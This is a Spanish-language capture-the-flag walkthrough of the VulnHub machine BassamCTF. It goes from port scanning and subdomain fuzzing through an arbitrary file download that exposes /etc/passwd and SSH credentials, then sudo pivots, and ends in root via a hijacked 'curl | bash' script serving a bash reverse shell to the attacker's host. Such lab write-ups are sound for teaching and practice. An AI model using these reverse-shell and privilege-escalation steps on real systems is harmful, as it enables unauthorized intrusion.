BassamCTF VulnHub
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23 06:55 EDT
Nmap scan report for 192.168.5.200
Host is up (0.00023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5f:cd:98:ac:0e:76:be:d0:9c:ae:23:47:8d:03:b5:07 (RSA)
| 256 f5:cb:de:f0:89:dc:ff:56:89:44:05:3c:a3:44:8f:70 (ECDSA)
|_ 256 3a:94:cc:9e:aa:ab:7d:64:71:26:49:48:02:07:62:30 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:AD:2C:E8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds
SI nos vamos al puerto 80
e inspeccionamos la pagina, veremos lo siguiente...
<!-- bassam.ctf -->
Veremos que es un dominio, por lo que lo meteremos en el hosts
...
sudo nano /etc/hosts
#Dentro del nano
<IP> bassam.ctf
Una vez hecho esto ponemos el dominio en el navegador...
URL = http://bassam.ctf/
ffuf
ffuf -c -w <WORDLIST> -u http://bassam.ctf -H "Host: FUZZ.bassam.ctf" -fs 21
Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://bassam.ctf
:: Wordlist : FUZZ: /usr/share/wordlists/SecList/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.bassam.ctf
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 21
________________________________________________
welcome [Status: 200, Size: 38, Words: 4, Lines: 4, Duration: 1ms]
Por lo que vemos, vemos un subdominio llamado welcome
...
Por lo que haremos lo siguiente...
sudo nano /etc/hosts
#Dentro del nano
<IP> bassam.ctf welcome.bassam.ctf
Una vez hecho esto volveremos al navegador y pondremos eso...
URL = http://welcome.bassam.ctf
Gobuster
gobuster dir -u http://welcome.bassam.ctf/ -w <WORDLIST> -x html,php,txt,md -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://welcome.bassam.ctf/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,md,html
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.txt (Status: 403) [Size: 283]
/.htpasswd.md (Status: 403) [Size: 283]
/.htpasswd (Status: 403) [Size: 283]
/.htaccess.md (Status: 403) [Size: 283]
/.htpasswd.txt (Status: 403) [Size: 283]
/.htpasswd.php (Status: 403) [Size: 283]
/.htpasswd.html (Status: 403) [Size: 283]
/.htaccess.html (Status: 403) [Size: 283]
/.htaccess.php (Status: 403) [Size: 283]
/.htaccess (Status: 403) [Size: 283]
/config.php (Status: 200) [Size: 0]
/index.html (Status: 200) [Size: 38]
/index.php (Status: 200) [Size: 229]
/server-status (Status: 403) [Size: 283]
Progress: 102345 / 102350 (100.00%)
===============================================================
Finished
===============================================================
Vemos varias cosas interesantes, pero si ponemos /index.php
veremos un recuadro pidiendo una URL
...
Si en ese espacio metemos por ejemplo /etc/passwd
se nos descargara el archivo...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
kira:x:1000:1000:kira:/home/kira:/bin/bash
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
bassam:x:1001:1001::/home/bassam:/bin/sh
test:x:1002:1002::/home/test:/bin/sh
Pero si metemos el /config.php
que nos encontramos con gobuster
el cual puede contener credenciales, tambien nos lo descargara...
<?php
$user='test';
$pass='test123';
?>
Por lo que vemos nos da unas credenciales...
Si pobramos eso a conectarnos por ssh
veremos que son las credenciales validas...
ssh test@<IP>
Y metiendo la contraseña ya estariamos dentro...
Si nos vamos a la siguiente ubicacion...
cd /var/www/ctf
Veremos un archivo llamado MySecretPassword
pero si lo vemos con cat
solo veremos espacion y nada asi interesante, por lo que podria ser un mensaje codificado en espacios y tiene que ser interpretado mediante un patron...
cat -A MySecretPassword
Info:
$
$
$
$
$
$
$
$
Por lo que se ve sigue un patron, por lo que haremos lo siguiente...
nano /tmp/decode.sh
#Dentro del nano
#!/bin/bash
while IFS= read -r line; do
count=$(echo "$line" | grep -o ' ' | wc -l)
if [ "$count" -gt 32 ]; then
# Assuming a basic offset of 32 (for space character in ASCII)
ascii=$((count))
printf "%d " "$ascii"
else
printf "%s" "$line"
fi
done < MySecretPassword
echo
chmod +x /tmp/decode.sh
/tmp/decode.sh
Info:
107 105 114 97 50 48 48 51
Nos dara esos numeros en hexadecimal
por lo que lo pasaremos a ascii
de la siguiente forma...
nano /tmp/ascii.sh
#Dentro del nano
#!/bin/bash
# Números obtenidos
numbers=(107 105 114 97 50 48 48 51)
# Convertir cada número a un carácter
for num in "${numbers[@]}"; do
printf "\\$(printf %o "$num")"
done
echo
chmod +x /tmp/ascii.sh
/tmp/ascii.sh
Info:
kira2003
Por lo que veremos la contraseña del usuario kira
es kira2003
...
User = kira
Password = kira2003
Si hacemos sudo -l
veremos lo siguiente...
Matching Defaults entries for kira on kira:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kira may run the following commands on kira:
(bassam) /home/kira/test.sh
Podremos ejecutar como bassam
el .sh
...
Dentro de la carpeta de kira
haremos lo siguiente...
nano shell.sh
#Dentro del nano
#!/bin/bash
/bin/bash
chmod +x shell.sh
sudo -u bassam /home/kira/test.sh /home/kira/shell.sh
Info:
your name
bash
/home/kira/test.sh: 3: /home/kira/test.sh: cannot create /home/kali/message.txt: Directory nonexistent
whoami
bassam
Por lo que ya seriamos el usuario bassam
ahora nos importamos una shell mas bonita...
script /dev/null -c bash
Si hacemos sudo -l
veremos lo siguiente...
Matching Defaults entries for bassam on kira:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bassam may run the following commands on kira:
(root) NOPASSWD: /home/bassam/down.sh
Podemos ejecutar ese .sh
como el usuario root
...
Veremos como es por dentro ese script.sh
...
curl "http://mywebsite.test/script.sh" |bash
Vemos que esta haciendo una llamada con curl
a un sitio web que no existe resuelto por un dominio para ver el contenido de ese script.sh
pero a la vez esta ejecutando con bash
lo que haya en su interior, por lo que si cogemos ese dominio y lo resolvemos para que haga conexion en nuestra maquina con el script
malicioso que pongamos lo ejecutara como root
...
En nuestra maquina host
crearemos el siguiente archivo...
nano script.sh
#Dentro del nano
#!/bin/bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
chmod +x script.sh
Abrimos un servidor de python3
para que curl
lo pueda coger...
python3 -m http.server 80
Y a la vez estaremos a la escucha...
nc -lvnp <PORT>
Si dentro de la maquina victima hacemos lo siguiente...
nano /etc/hosts
#Dentro del nano
<IP_ATACANTE> mywebsite.test
Veremos que si podemos guardarlo para que cuando se ejecute el script se este ejecutando en nuestra IP
de nuestro hosts
donde tenemos ese script.sh
malicioso con una Reverse Shell
...
sudo /home/bassam/down.sh
Info:
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 56 100 56 0 0 3111 0 --:--:-- --:--:-- --:--:-- 3111
Se quedara pensando y si nos vamos a donde teniamos la escucha, veremos que nos hizo una shell con root
perfectamente...
connect to [192.168.5.199] from (UNKNOWN) [192.168.5.200] 54748
root@kira:/home/bassam# whoami
whoami
root
Por lo que ya seriamos root
...
Last updated